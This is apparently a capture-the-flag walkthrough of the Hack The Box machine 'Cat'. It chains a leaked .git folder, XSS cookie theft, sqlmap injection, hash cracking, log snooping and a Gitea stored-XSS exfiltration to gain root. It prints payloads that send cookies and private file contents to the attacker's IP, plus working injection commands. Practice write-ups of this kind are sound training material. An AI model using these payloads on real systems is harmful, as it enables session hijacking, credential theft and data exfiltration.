HTB: Cat - Medium
Enumeration
First lets start off with a Nmap scan, using sudo nmap -sC -sV 10.129.252.164 -oN cat.nmap:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 03:44 CEST
Nmap scan report for 10.129.252.164
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.46 seconds
We add cat.htb to our /etc/hosts file.
The page we ware met with is the following:

Running feroxbuster to enumerate the endpoints, we use the command feroxbuster --url http://cat.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt – revealing a .git folder:
feroxbuster --url http://cat.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
[..]
200 GET 41l 83w 1242c http://cat.htb/vote.php
200 GET 127l 270w 2900c http://cat.htb/css/styles.css
302 GET 1l 0w 1c http://cat.htb/contest.php => http://cat.htb/join.php
200 GET 129l 285w 3075c http://cat.htb/
200 GET 1l 0w 1c http://cat.htb/config.php
302 GET 0l 0w 0c http://cat.htb/logout.php => http://cat.htb/
200 GET 127l 715w 53503c http://cat.htb/img/cat3.webp
200 GET 304l 1647w 132808c http://cat.htb/img/cat1.jpg
200 GET 904l 5604w 448419c http://cat.htb/img/cat2.png
301 GET 9l 28w 301c http://cat.htb/.git => http://cat.htb/.git/
We can dump this using git-dumper using the command git-dumper http://cat.htb/.git ..
With the git dumped, we can now view its contents.
There is only a commit in the git log:
commit 8c2c2701eb4e3c9a42162cfb7b681b6166287fd5 (HEAD -> master)
Author: Axel <axel2017@gmail.com>
Date: Sat Aug 31 23:26:14 2024 +0000
Cat v1
Viewing the content of the dumped git repository, we are met with the following files:
.git
accept_cat.php
admin.php
config.php
contest.php
css
delete_cat.php
img
img_winners
index.php
join.php
logout.php
view_cat.php
vote.php
winners
winners.php
Inspecting each .php file, we are able to reveal that the admin.php is vulnerable to a XSS in the cat_name:
onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)"
The accept_cat.php is vulnerable to a SQL injection, which would be of interest later on:
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
The config.php contains some information about the db (revealing SQLite):
$db_file = '/databases/cat.db';
// Connect to the database
try {
$pdo = new PDO("sqlite:$db_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Error: " . $e->getMessage());
}
?>
We also notice that join.php is vulnerable for a XSS attack:
<div class="message"><?php echo $success_message; ?></div>
<div class="error-message"><?php echo $error_message; ?></div>
And contest.php is also vulnerable for a XSS attack:
<div class="message"><?php echo $success_message; ?></div>
[..]
<div class="error-message"><?php echo $error_message; ?></div>
Exploit
Lets start to exploit the cross-site scripting, by stealing the cookie of a higher privilege user.
The payload I used which I grabbed from PayloadAllTheThings:
<script>document.location='http://10.10.14.190/XSS/grabber.php?c='+document.cookie</script>
Which we then input in the username field:

And to obtain interaction from the higher privilege user, we submit a image for review:

Within a short-time period, a request is received – and the cookie is stolen:
[Sat May 17 04:19:11 2025] 10.129.252.164:42824 Accepted
[Sat May 17 04:19:11 2025] 10.129.252.164:42812 Accepted
[Sat May 17 04:19:11 2025] 10.129.252.164:42824 [404]: GET /XSS/grabber.php?c=PHPSESSID=sjo937q4s3p7ps7l5h86sr9k4g - No such file or directory
[Sat May 17 04:19:11 2025] 10.129.252.164:42824 Closing
[Sat May 17 04:19:11 2025] 10.129.252.164:42812 [404]: GET /favicon.ico - No such file or directory
[Sat May 17 04:19:11 2025] 10.129.252.164:42812 Closing
We add this cookie with cookie editor:

Now that we have escalated our privilege inside of the web application, lets try out the admin.php endpoint, and get a SQL injection via the accept_cat.php:

We click accept and intercept its request using Burp suite.
This is where I copy the entire request into a file called req.txt – the following command is used for the SQL injection:
sqlmap -r req.txt --level=5 --risk=3 --threads=10 --batch
With as result, revealing that it got a injection:
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1724 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
Payload: catName=' AND CASE WHEN 3372=3372 THEN 3372 ELSE JSON(CHAR(79,66,117,85)) END AND 'iZUB'='iZUB&catId=1
---
[04:24:27] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
This injection was very unstable, so with the information I have retrieved from this injection, I modified the SQLmap command and input the information:
sqlmap -r req.txt --batch -D SQLite_masterdb --dump --dbms=SQLite --dump --flush-session --level=5 --risk=3
With as result, the SQL injection is again obtained, but now we got a time-based blind added to it:
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catName='||(SELECT CHAR(101,112,99,78) WHERE 6382=6382 AND 1830=1830)||'&catId=1
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: catName='||(SELECT CHAR(120,79,116,104) WHERE 6713=6713 AND 2415=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))
||'&catId=1
---
Adding the --threads=10 increased the speed, allowing to dump the following:
| user_id | password | username | |
|---|---|---|---|
| 1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f | axel |
| 2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c | rosa |
| 3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert |
| 4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
| 5 | jerrysonC343@gmail.com | 781593e060f8d065cd7281c5ec5b4b86 | jerryson |
| 6 | larryP5656@gmail.com | 1b6dce240bbfbc0905a664ad199e18f8 | larry |
| 7 | royer.royer2323@gmail.com | c598f6b844a36fa7836fba0835f1f6 | royer |
| 8 | peterCC456@gmail.com | e41ccefa439fc454f7eadbf1f139ed8a | peter |
| 9 | angel234g@gmail.com | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel |
| 10 | jobert2020@gmail.com | 88e4dceccd48820cf77b5cf6c08698ad | jobert |
With these credentials dumped, I ran it through hashcat with hashcat hashes.txt -m 0 ../../../rockyou.txt – revealing:
ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa
This is the password for rosa, so lets SSH into this user:
ssh rosa@cat.htb
[..]
rosa@cat:~$ whoami
rosa
Privilege Escalation
From rosa to axel
With access as rosa, I enumerated the machine and ended up reading the access.log file – which shows plaintext authentication requests:
rosa@cat:/var/log/apache2$ cat access.log | grep '/join.php' | grep axel
[..]
/join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login
Revealing the password for axel.
From axel to root
ssh axel@cat.htb
[..]
axel@cat:~$ whoami
axel
axel@cat:~$ cat user.txt
83110a348940603f85b715afd6aceebb
We now got SSH access to axel.
As soon as we login, we are met with a notification with You have mail.. I then searched for the corresponding directory which contains the e-mail by using find / -name '*mail' 2>/dev/null:
/var/lib/sendmail
/var/mail
/var/spool/mail
When catting /var/mail/axel, we are met with the following e-mail:
axel@cat:/var/mail$ cat axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
It contains the following information of interest:
- Send a e-mail to
jobert@localhost - Gitea respository
- A endpoint that requires authentication: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md
So I port forwarded the Gitea repository to with the command ssh -L 3000:localhost:3000 axel@cat.htb :

Where we can logion with our current credentials from axel:

With access as this user, we can now view the version of Gitea at the bottom of the page:

This has a known exploit, which can be found at https://www.exploit-db.com/exploits/52077 – it is a stored XSS vulnerability.
Which I double checked, and it indeed allows for a stored XSS attack:

So lets try and exploit this. In the mean time I tried to get a cookie, but was not able to retrieve this.
Since we previously got the endpoint http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md which requires authentication, lets try and obtain its source information with a CSRF attack.
I crafted the following payload to reveal the README.md:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(r=>r.text()).then(d=>fetch('http://10.10.14.190:1337/?d='+encodeURIComponent(btoa(unescape(encodeURIComponent(d))))));">pleasclick</a>
Where I ended up with creating the following repository:

So in the mean time I got stuck, trying to get interaction to my repository, but it did not execute. The button of the XSS needs to appear in the repository – you need to create a new file, allowing to it display the description:

With as result, we get the following respository:

With our repository created (and it being deleted about 100 times while testing how to send a e-mail) – I ended up using the following sendmail command:
echo 'http://localhost:3000/axel/getme' | sendmail jobert@localhost^C
Which after a short-time period, I received the source for README.md:
10.129.252.164 - - [17/May/2025 07:02:48] "GET /?d=IyBFbXBsb3llZSBNYW5hZ2VtZW50ClNpdGUgdW5kZXIgY29uc3RydWN0aW9uLiBBdXRob3JpemVkIHVzZXI6IGFkbWluLiBObyB2aXNpYmlsaXR5IG9yIHVwZGF0ZXMgdmlzaWJsZSB0byBlbXBsb3llZXMu HTTP/1.1" 200 -
Decoding this response, reveals the following:

So since it is a site, lets try and access its other files. Where I ended up with index.php:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.14.190:1337/?d='+encodeURIComponent(btoa(unescape(encodeURIComponent(d))))));">pleasclick</a>
Which again, resulted in a response:
10.129.252.164 - - [17/May/2025 07:04:16] "GET /?d=PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK HTTP/1.1" 200 -
And decoding this, revealed the admin password:

Now we can reuse this password, and obtain access as the user root:
su root
Password:
root@cat:/home/axel# cat /root/root.txt
6b25[..]ce6e6cb